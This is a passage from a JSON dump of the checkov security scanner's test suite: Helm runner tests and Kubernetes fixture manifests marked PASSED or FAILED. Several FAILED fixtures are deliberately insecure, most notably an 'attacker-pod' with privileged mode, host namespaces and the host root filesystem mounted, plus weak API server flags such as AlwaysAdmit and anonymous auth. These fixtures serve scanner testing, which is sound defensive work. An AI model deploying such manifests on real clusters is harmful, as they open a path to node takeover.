exist_ok=True)\n\n                # Create template files to test mapping\n                with open(os.path.join(templates_dir, \"service.yaml\"), 'w') as f:\n                    f.write(\"# Original service template\")\n\n                with open(os.path.join(templates_dir, \"deployment.yaml\"), 'w') as f:\n                    f.write(\"# Original deployment template\")\n\n                # Create an empty template mapping dictionary\n                template_mapping = {}\n\n                # Call the parse_output function\n                Runner._parse_output(target_dir, helm_output, chart_dir, template_mapping)\n\n                # Check template mapping was populated correctly\n                expected_mapping = {\n                    f'{target_dir}/mychart/templates/service.yaml': os.path.join(chart_dir, \"templates/service.yaml\"),\n                    f'{target_dir}/mychart/templates/deployment.yaml': os.path.join(chart_dir, \"templates/deployment.yaml\")\n                }\n\n                # Compare the mappings - normalize paths for comparison\n                normalized_template_mapping = {k.replace('\\\\', '/'): v.replace('\\\\', '/')\n                                               for k, v in template_mapping.items()}\n                normalized_expected_mapping = {k.replace('\\\\', '/'): v.replace('\\\\', '/')\n                                               for k, v in expected_mapping.items()}\n\n                self.assertEqual(normalized_template_mapping, normalized_expected_mapping)\n\n                # Verify file content was written correctly\n                service_file_path = os.path.join(target_dir, \"mychart/templates/service.yaml\")\n                deployment_file_path = os.path.join(target_dir, \"mychart/templates/deployment.yaml\")\n\n                if os.path.exists(service_file_path):\n                    with open(service_file_path, 'r') as f:\n                        content = f.read()\n                        self.assertIn(\"kind: Service\", content)\n                        self.assertIn(\"name: example-service\", content)\n\n                if os.path.exists(deployment_file_path):\n                    with open(deployment_file_path, 'r') as f:\n                        content = f.read()\n                        self.assertIn(\"kind: Deployment\", content)\n                        self.assertIn(\"name: example-deployment\", content)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/helm/test_runner_image_referencer.py",
    "content": "from __future__ import annotations\n\nfrom pathlib import Path\n\nimport pytest\nfrom pytest_mock import MockerFixture\n\nfrom checkov.common.bridgecrew.bc_source import get_source_type\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.helm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom tests.common.image_referencer.test_utils import (\n    mock_get_empty_license_statuses_async,\n    mock_get_image_cached_result_async,\n)\nfrom tests.helm.utils import helm_exists\n\nRESOURCES_PATH = Path(__file__).parent / \"runner/resources\"\n\n\n@pytest.mark.skipif(not helm_exists(), reason=\"helm not installed\")\ndef test_deployment_resources(mocker: MockerFixture):\n    from checkov.common.bridgecrew.platform_integration import bc_integration\n\n    # given\n    file_name = \"hello-world/templates/deployment.yaml\"\n    image_name = \"nginx:1.16.0\"\n    code_lines = \"20-42\"\n    test_folder = RESOURCES_PATH / \"image_referencer\"\n    runner_filter = RunnerFilter(run_image_referencer=True)\n    bc_integration.bc_source = get_source_type(\"disabled\")\n\n    mocker.patch(\n        \"checkov.common.images.image_referencer.image_scanner.get_scan_results_from_cache_async\",\n        side_effect=mock_get_image_cached_result_async,\n    )\n    mocker.patch(\n        \"checkov.common.images.image_referencer.get_license_statuses_async\",\n        side_effect=mock_get_empty_license_statuses_async,\n    )\n\n    # when\n    reports = Runner().run(root_folder=str(test_folder), runner_filter=runner_filter)\n\n    # then\n    assert len(reports) == 2\n\n    helm_report = next(report for report in reports if report.check_type == CheckType.HELM)\n    sca_image_report = next(report for report in reports if report.check_type == CheckType.SCA_IMAGE)\n\n    assert len(helm_report.resources) == 4\n    assert len(helm_report.passed_checks) == 72\n    assert len(helm_report.failed_checks) == 20\n    assert len(helm_report.skipped_checks) == 0\n    assert len(helm_report.parsing_errors) == 0\n\n    assert len(sca_image_report.resources) == 1\n    assert sca_image_report.resources == {\n        f\"{file_name} ({image_name} lines:{code_lines} (sha256:2460522297)).go\",\n    }\n    assert len(sca_image_report.passed_checks) == 0\n    assert len(sca_image_report.failed_checks) == 3\n    assert len(sca_image_report.skipped_checks) == 0\n    assert len(sca_image_report.parsing_errors) == 0\n    assert len(sca_image_report.image_cached_results) == 1\n\n    assert sca_image_report.image_cached_results[0][\"dockerImageName\"] == image_name\n    assert (\n        sca_image_report.image_cached_results[0][\"relatedResourceId\"]\n        == \"/hello-world/templates/deployment.yaml:Pod.default.release-name-hello-world.app.kubernetes.io/name-hello-world.app.kubernetes.io/instance-release-name\"\n    )\n    assert sca_image_report.image_cached_results[0][\"packages\"] == [\n        {\"type\": \"os\", \"name\": \"tzdata\", \"version\": \"2021a-1+deb11u5\", \"licenses\": []}\n    ]\n"
  },
  {
    "path": "tests/helm/utils.py",
    "content": "import subprocess\n\nfrom checkov.helm.runner import Runner\n\n\ndef helm_exists() -> bool:\n    try:\n        subprocess.run([Runner.helm_command, \"version\"], check=True, stdout=subprocess.PIPE)\n    except Exception:\n        return False\n    return True\n"
  },
  {
    "path": "tests/kubernetes/__init__.py",
    "content": ""
  },
  {
    "path": "tests/kubernetes/checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/kubernetes/checks/example_AllowPrivilegeEscalation/ds-nginx-ingress-FAILED.yaml",
    "content": "kind: DaemonSet\napiVersion: extensions/v1beta1\nmetadata:\n  name: nginx-ingress-controller\n  namespace: example-ns\n  labels:\n    app.kubernetes.io/name: ingress-nginx\n    app.kubernetes.io/part-of: ingress-nginx\nspec:\n  selector:\n    matchLabels:\n      app.kubernetes.io/name: ingress-nginx\n      app.kubernetes.io/part-of: ingress-nginx\n  template:\n    metadata:\n      labels:\n        app.kubernetes.io/name: ingress-nginx\n        app.kubernetes.io/part-of: ingress-nginx\n      annotations:\n        prometheus.io/port: \"10254\"\n        prometheus.io/scrape: \"true\"\n    spec:\n      serviceAccountName: nginx-ingress-serviceaccount\n      imagePullSecrets:\n      - name: private-repo\n      containers:\n        - name: nginx-ingress-controller\n          image: private_repo/private_image\n          args:\n            - /nginx-ingress-controller\n            - --configmap=$(POD_NAMESPACE)/nginx-configuration\n            - --tcp-services-configmap=$(POD_NAMESPACE)/tcp-services\n            - --udp-services-configmap=$(POD_NAMESPACE)/udp-services\n            - --publish-service=$(POD_NAMESPACE)/ingress-nginx\n            - --annotations-prefix=nginx.ingress.kubernetes.io\n            - --default-ssl-certificate=$(POD_NAMESPACE)/tls-cert\n          securityContext:\n            allowPrivilegeEscalation: true\n            capabilities:\n              drop:\n                - ALL\n              add:\n                - NET_BIND_SERVICE\n            runAsUser: 33\n          resources:\n            limits:\n              cpu: 500m\n              memory: 300Mi\n            requests:\n              cpu: 400m\n              memory: 200Mi\n          env:\n            - name: POD_NAME\n              valueFrom:\n                fieldRef:\n                  fieldPath: metadata.name\n            - name: POD_NAMESPACE\n              valueFrom:\n                fieldRef:\n                  fieldPath: metadata.namespace\n          ports:\n            - name: https\n              containerPort: 443\n          livenessProbe:\n            failureThreshold: 3\n            httpGet:\n              path: /healthz\n              port: 10254\n              scheme: HTTP\n            initialDelaySeconds: 10\n            periodSeconds: 10\n            successThreshold: 1\n            timeoutSeconds: 10\n          readinessProbe:\n            failureThreshold: 3\n            httpGet:\n              path: /healthz\n              port: 10254\n              scheme: HTTP\n            periodSeconds: 10\n            successThreshold: 1\n            timeoutSeconds: 10\n"
  },
  {
    "path": "tests/kubernetes/checks/example_AllowPrivilegeEscalation/nginx-app-FAILED.json",
    "content": "{\n  \"kind\": \"Pod\",\n  \"apiVersion\": \"v1\",\n  \"metadata\": {\n    \"name\": \"my-nginx\",\n    \"namespace\": \"nginx\",\n    \"labels\": {\n      \"app\": \"nginx\"\n    }\n  },\n  \"spec\": {\n    \"containers\": [\n      {\n        \"name\": \"nginx\",\n        \"image\": \"nginx:1.14.2\",\n        \"ports\": [\n          {\n            \"name\": \"http\",\n            \"containerPort\": 80\n          }\n        ]\n      }\n    ]\n  }\n}\n"
  },
  {
    "path": "tests/kubernetes/checks/example_AllowPrivilegeEscalation/oc-deploymentConfig-FAILED.yml",
    "content": "# Redhat Openshift DeploymentConfig example:\n# https://access.redhat.com/documentation/en-us/openshift_container_platform/4.2/html/applications/deployments\napiVersion: v1\nkind: DeploymentConfig\nmetadata:\n  name: frontend\nspec:\n  replicas: 5\n  selector:\n    name: frontend\n  template:\n    metadata:\n      labels:\n        tier: frontend\n    spec:\n      containers:\n      - image: openshift/hello-openshift\n        name: helloworld\n        ports:\n        - containerPort: 8080\n          protocol: TCP\n      restartPolicy: Always\n  triggers:\n  - type: ConfigChange\n  - imageChangeParams:\n      automatic: true\n      containerNames:\n      - helloworld\n      from:\n        kind: ImageStreamTag\n        name: hello-openshift:latest\n    type: ImageChange\n  strategy:\n    type: Rolling\n"
  },
  {
    "path": "tests/kubernetes/checks/example_AllowPrivilegeEscalation/oc-deploymentConfig-PASSED.yml",
    "content": "# Redhat Openshift DeploymentConfig example with securityContext added:\n# https://access.redhat.com/documentation/en-us/openshift_container_platform/4.2/html/applications/deployments\napiVersion: v1\nkind: DeploymentConfig\nmetadata:\n  name: frontend\nspec:\n  replicas: 5\n  selector:\n    name: frontend\n  template:\n    metadata:\n      labels:\n        tier: frontend\n    spec:\n      containers:\n      - image: openshift/hello-openshift\n        name: helloworld\n        ports:\n        - containerPort: 8080\n          protocol: TCP\n        securityContext:\n          allowPrivilegeEscalation: false\n      restartPolicy: Always\n  triggers:\n  - type: ConfigChange\n  - imageChangeParams:\n      automatic: true\n      containerNames:\n      - helloworld\n      from:\n        kind: ImageStreamTag\n        name: hello-openshift:latest\n    type: ImageChange\n  strategy:\n    type: Rolling\n"
  },
  {
    "path": "tests/kubernetes/checks/example_AllowPrivilegeEscalation/pod-runas1000-PASSED.yaml",
    "content": "# Source: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/\napiVersion: v1\nkind: Pod\nmetadata:\n  name: security-context-demo\nspec:\n  securityContext:\n    runAsUser: 1000\n    runAsGroup: 3000\n    fsGroup: 2000\n  volumes:\n  - name: sec-ctx-vol\n    emptyDir: {}\n  containers:\n  - name: sec-ctx-demo\n    image: busybox\n    command: [ \"sh\", \"-c\", \"sleep 1h\" ]\n    volumeMounts:\n    - name: sec-ctx-vol\n      mountPath: /data/demo\n    securityContext:\n      allowPrivilegeEscalation: false\n# https://kubernetes.io/docs/tasks/configure-pod-container/security-context/\n# cat /proc/1/status\n# allowPrivilegeEscalation: false means NoNewPrivs = 1\n# https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html\n"
  },
  {
    "path": "tests/kubernetes/checks/example_AllowPrivilegeEscalation/pod-runas1000-malformed-PASSED.yaml",
    "content": "# Source: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/\napiVersion: v1\nkind: Pod\nmetadata:\n  name: security-context-demo\nspec:\n  securityContext:\n    runAsUser: 1000\n    runAsGroup: 3000\n    fsGroup: 2000\n  volumes:\n  - name: sec-ctx-vol\n    emptyDir: {}\n  containers:\n    name: sec-ctx-demo\n    image: busybox\n    command: [ \"sh\", \"-c\", \"sleep 1h\" ]\n    volumeMounts:\n    - name: sec-ctx-vol\n      mountPath: /data/demo\n    securityContext:\n      allowPrivilegeEscalation: false\n# https://kubernetes.io/docs/tasks/configure-pod-container/security-context/\n# cat /proc/1/status\n# allowPrivilegeEscalation: false means NoNewPrivs = 1\n# https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html\n"
  },
  {
    "path": "tests/kubernetes/checks/example_AllowPrivilegeEscalation/pod-to-node-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  labels:\n    run: attacker-pod\n  name: attacker-pod\nspec:\n  hostPID: true\n  hostIPC: true\n  hostNetwork: true\n  volumes:\n  - name: host-fs\n    hostPath:\n      path: /\n  containers:\n  - image: ubuntu\n    name: attacker-pod\n    command: [\"/bin/sh\", \"-c\", \"sleep infinity\"]\n    securityContext:\n      privileged: true\n      allowPrivilegeEscalation: true\n    volumeMounts:\n    - name: host-fs\n      mountPath: /host\n  restartPolicy: Never\n\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_AllowPrivilegeEscalation/rootDeployment-PASSED.yaml",
    "content": "apiVersion: extensions/v1beta1\nkind: Deployment\nmetadata:\n  name: hello\n  labels: \n    app: hello\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      app: hello\n  template: \n    metadata:\n      labels:\n        app: hello\n    spec:\n      containers:\n      - image: k8s.gcr.io/echoserver:1.4\n        name: hello\n        securityContext:\n          allowPrivilegeEscalation: false\n          runAsUser: 0\n\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_AllowedCapabilities/cassandra-FAILED.yaml",
    "content": "# Source: https://kubernetes.io/docs/tutorials/stateful-application/cassandra/\n# https://github.com/kubernetes/examples/tree/master/cassandra\n\napiVersion: v1\nkind: Service\nmetadata:\n  labels:\n    app: cassandra\n  name: cassandra\nspec:\n  clusterIP: None\n  ports:\n  - port: 9042\n  selector:\n    app: cassandra\n---\napiVersion: apps/v1\nkind: StatefulSet\nmetadata:\n  name: cassandra\n  labels:\n    app: cassandra\nspec:\n  serviceName: cassandra\n  replicas: 3\n  selector:\n    matchLabels:\n      app: cassandra\n  template:\n    metadata:\n      labels:\n        app: cassandra\n    spec:\n      terminationGracePeriodSeconds: 1800\n      containers:\n      - name: cassandra\n        image: gcr.io/google-samples/cassandra:v13\n        imagePullPolicy: Always\n        ports:\n        - containerPort: 7000\n          name: intra-node\n        - containerPort: 7001\n          name: tls-intra-node\n        - containerPort: 7199\n          name: jmx\n        - containerPort: 9042\n          name: cql\n        resources:\n          limits:\n            cpu: \"500m\"\n            memory: 1Gi\n          requests:\n            cpu: \"500m\"\n            memory: 1Gi\n        securityContext:\n          capabilities:\n            add:\n              - IPC_LOCK\n        lifecycle:\n          preStop:\n            exec:\n              command: \n              - /bin/sh\n              - -c\n              - nodetool drain\n        env:\n          - name: MAX_HEAP_SIZE\n            value: 512M\n          - name: HEAP_NEWSIZE\n            value: 100M\n          - name: CASSANDRA_SEEDS\n            value: \"cassandra-0.cassandra.default.svc.cluster.local\"\n          - name: CASSANDRA_CLUSTER_NAME\n            value: \"K8Demo\"\n          - name: CASSANDRA_DC\n            value: \"DC1-K8Demo\"\n          - name: CASSANDRA_RACK\n            value: \"Rack1-K8Demo\"\n          - name: POD_IP\n            valueFrom:\n              fieldRef:\n                fieldPath: status.podIP\n        readinessProbe:\n          exec:\n            command:\n            - /bin/bash\n            - -c\n            - /ready-probe.sh\n          initialDelaySeconds: 15\n          timeoutSeconds: 5\n        # These volume mounts are persistent. They are like inline claims,\n        # but not exactly because the names need to match exactly one of\n        # the stateful pod volumes.\n        volumeMounts:\n        - name: cassandra-data\n          mountPath: /cassandra_data\n      - name: cassandra\n        image: gcr.io/google-samples/cassandra:v13\n        imagePullPolicy: Always\n        ports:\n        - containerPort: 7000\n          name: intra-node\n        - containerPort: 7001\n          name: tls-intra-node\n        - containerPort: 7199\n          name: jmx\n        - containerPort: 9042\n          name: cql\n        resources:\n          limits:\n            cpu: \"500m\"\n            memory: 1Gi\n          requests:\n            cpu: \"500m\"\n            memory: 1Gi\n        lifecycle:\n          preStop:\n            exec:\n              command:\n              - /bin/sh\n              - -c\n              - nodetool drain\n        env:\n          - name: MAX_HEAP_SIZE\n            value: 512M\n          - name: HEAP_NEWSIZE\n            value: 100M\n          - name: CASSANDRA_SEEDS\n            value: \"cassandra-0.cassandra.default.svc.cluster.local\"\n          - name: CASSANDRA_CLUSTER_NAME\n            value: \"K8Demo\"\n          - name: CASSANDRA_DC\n            value: \"DC1-K8Demo\"\n          - name: CASSANDRA_RACK\n            value: \"Rack1-K8Demo\"\n          - name: POD_IP\n            valueFrom:\n              fieldRef:\n                fieldPath: status.podIP\n        readinessProbe:\n          exec:\n            command:\n            - /bin/bash\n            - -c\n            - /ready-probe.sh\n          initialDelaySeconds: 15\n          timeoutSeconds: 5\n        # These volume mounts are persistent. They are like inline claims,\n        # but not exactly because the names need to match exactly one of\n        # the stateful pod volumes.\n        volumeMounts:\n        - name: cassandra-data\n          mountPath: /cassandra_data\n  # These are converted to volume claims by the controller\n  # and mounted at the paths mentioned above.\n  # do not use these in production until ssd GCEPersistentDisk or other ssd pd\n  volumeClaimTemplates:\n  - metadata:\n      name: cassandra-data\n    spec:\n      accessModes: [ \"ReadWriteOnce\" ]\n      storageClassName: fast\n      resources:\n        requests:\n          storage: 1Gi\n---\nkind: StorageClass\napiVersion: storage.k8s.io/v1\nmetadata:\n  name: fast\nprovisioner: k8s.io/minikube-hostpath\nparameters:\n  type: pd-ssd\n\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_AllowedCapabilities/cronjob-PASSED.yaml",
    "content": "# Source: https://kubernetes.io/docs/tasks/job/automated-tasks-with-cron-jobs/\napiVersion: batch/v1beta1\nkind: CronJob\nmetadata:\n  name: hello\nspec:\n  schedule: \"*/1 * * * *\"\n  jobTemplate:\n    spec:\n      template:\n        spec:\n          containers:\n          - name: hello\n            image: busybox\n            args:\n            - /bin/sh\n            - -c\n            - date; echo Hello from the Kubernetes cluster\n          restartPolicy: OnFailure\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_AllowedCapabilities/cronjob-UNKOWN.yaml",
    "content": "# Source: https://kubernetes.io/docs/tasks/job/automated-tasks-with-cron-jobs/\n\n# Testing empty spec\napiVersion: batch/v1beta1\nkind: CronJob\nmetadata:\n  name: hello\nspec:\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_AllowedCapabilities/nginx-deployment-PASSED.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: my-nginx\n  labels:\n    app: nginx\nspec:\n  replicas: 3\n  selector:\n    matchLabels:\n      app: nginx\n  template:\n    metadata:\n      labels:\n        app: nginx\n    spec:\n      containers:\n      - name: nginx\n        image: nginx:1.14.2\n        ports:\n        - containerPort: 80\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_AllowedCapabilitiesSysAdmin/cronjob-PASSED.yaml",
    "content": "# Source: https://kubernetes.io/docs/tasks/job/automated-tasks-with-cron-jobs/\napiVersion: batch/v1beta1\nkind: CronJob\nmetadata:\n  name: hello\nspec:\n  schedule: \"*/1 * * * *\"\n  jobTemplate:\n    spec:\n      template:\n        spec:\n          containers:\n          - name: hello\n            image: busybox\n            args:\n            - /bin/sh\n            - -c\n            - date; echo Hello from the Kubernetes cluster\n          restartPolicy: OnFailure\n\n"
  },
  {
    "path": "tests/kubernetes/checks/example_AllowedCapabilitiesSysAdmin/pod-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  name: security-context-demo-1\nspec:\n  containers:\n    - name: sec-ctx-1\n      image: gcr.io/google-samples/node-hello:1.0\n      securityContext:\n        capabilities:\n          add: [\"SYS_ADMIN\"]\n"
  },
  {
    "path": "tests/kubernetes/checks/example_AllowedCapabilitiesSysAdmin/pod-FAILED2.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  name: security-context-demo-1\nspec:\n  containers:\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerAdmissionControlAlwaysAdmit/ApiServerAdmissionControlAlwaysAdmit-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-failed\n  namespace: kube-system\nspec:\n  containers:\n    - command:\n        - kube-apiserver\n        - --enable-admission-plugins=AlwaysAdmit\n      image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n      livenessProbe:\n        failureThreshold: 8\n        httpGet:\n          host: 127.0.0.1\n          path: /healthz\n          port: 6443\n          scheme: HTTPS\n        initialDelaySeconds: 15\n        timeoutSeconds: 15\n      name: kube-apiserver\n      resources:\n        requests:\n          cpu: 250m\n      volumeMounts:\n        - mountPath: /etc/kubernetes/\n          name: k8s\n          readOnly: true\n        - mountPath: /etc/ssl/certs\n          name: certs\n        - mountPath: /etc/pki\n          name: pki\n  hostNetwork: true\n  volumes:\n    - hostPath:\n        path: /etc/kubernetes\n      name: k8s\n    - hostPath:\n        path: /etc/ssl/certs\n      name: certs\n    - hostPath:\n        path: /etc/pki\n      name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerAdmissionControlAlwaysAdmit/ApiServerAdmissionControlAlwaysAdmit-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-passed\n  namespace: kube-system\nspec:\n  containers:\n    - command:\n        - kube-apiserver\n        - --enable-admission-plugins=other\n      image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n      livenessProbe:\n        failureThreshold: 8\n        httpGet:\n          host: 127.0.0.1\n          path: /healthz\n          port: 6443\n          scheme: HTTPS\n        initialDelaySeconds: 15\n        timeoutSeconds: 15\n      name: kube-apiserver\n      resources:\n        requests:\n          cpu: 250m\n      volumeMounts:\n        - mountPath: /etc/kubernetes/\n          name: k8s\n          readOnly: true\n        - mountPath: /etc/ssl/certs\n          name: certs\n        - mountPath: /etc/pki\n          name: pki\n  hostNetwork: true\n  volumes:\n    - hostPath:\n        path: /etc/kubernetes\n      name: k8s\n    - hostPath:\n        path: /etc/ssl/certs\n      name: certs\n    - hostPath:\n        path: /etc/pki\n      name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerAdmissionControlEventRateLimit/ApiServerAdmissionControlEventRateLimit-FAILED.yaml",
    "content": "apiVersion: apiserver.config.k8s.io/v1\nkind: AdmissionConfiguration\nmetadata:\n  name: \"admission-configuration-failed\"\nplugins:\n  - name: ValidatingAdmissionWebhook\n    configuration:\n      apiVersion: apiserver.config.k8s.io/v1\n      kind: WebhookAdmissionConfiguration\n      kubeConfigFile: \"<path-to-kubeconfig-file>\"\n  - name: MutatingAdmissionWebhook\n    configuration:\n      apiVersion: apiserver.config.k8s.io/v1\n      kind: WebhookAdmissionConfiguration\n      kubeConfigFile: \"<path-to-kubeconfig-file>\"\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerAdmissionControlEventRateLimit/ApiServerAdmissionControlEventRateLimit-PASSED.yaml",
    "content": "apiVersion: apiserver.config.k8s.io/v1\nkind: AdmissionConfiguration\nmetadata:\n  name: \"admission-configuration-passed\"\nplugins:\n  - name: ValidatingAdmissionWebhook\n    configuration:\n      apiVersion: apiserver.config.k8s.io/v1\n      kind: WebhookAdmissionConfiguration\n      kubeConfigFile: \"<path-to-kubeconfig-file>\"\n  - name: EventRateLimit\n    path: eventconfig.yaml\n  - name: MutatingAdmissionWebhook\n    configuration:\n      apiVersion: apiserver.config.k8s.io/v1\n      kind: WebhookAdmissionConfiguration\n      kubeConfigFile: \"<path-to-kubeconfig-file>\"\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerAlwaysPullImagesPlugin/ApiServerAlwaysPullImagesPlugin-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --enable-admission-plugins=other\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerAlwaysPullImagesPlugin/ApiServerAlwaysPullImagesPlugin-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --enable-admission-plugins=AlwaysPullImages\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki\n"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerAnonymousAuth/ApiServer-AnonymousAuth-False-PASSED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --anonymous-auth=false\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerAnonymousAuth/ApiServer-AnonymousAuth-Missing-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerAnonymousAuth/ApiServer-AnonymousAuth-True-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    - --anonymous-auth=true\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerAuditLog/ApiServer-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  creationTimestamp: null\n  labels:\n    component: kube-apiserver\n    tier: control-plane\n  name: kube-apiserver-fail\n  namespace: kube-system\nspec:\n  containers:\n  - command:\n    - kube-apiserver\n    image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0\n    livenessProbe:\n      failureThreshold: 8\n      httpGet:\n        host: 127.0.0.1\n        path: /healthz\n        port: 6443\n        scheme: HTTPS\n      initialDelaySeconds: 15\n      timeoutSeconds: 15\n    name: kube-apiserver-should-fail\n    resources:\n      requests:\n        cpu: 250m\n    volumeMounts:\n    - mountPath: /etc/kubernetes/\n      name: k8s\n      readOnly: true\n    - mountPath: /etc/ssl/certs\n      name: certs\n    - mountPath: /etc/pki\n      name: pki\n  hostNetwork: true\n  volumes:\n  - hostPath:\n      path: /etc/kubernetes\n    name: k8s\n  - hostPath:\n      path: /etc/ssl/certs\n    name: certs\n  - hostPath:\n      path: /etc/pki\n    name: pki"
  },
  {
    "path": "tests/kubernetes/checks/example_ApiServerAuditLog/ApiServer-PASSED.yaml",
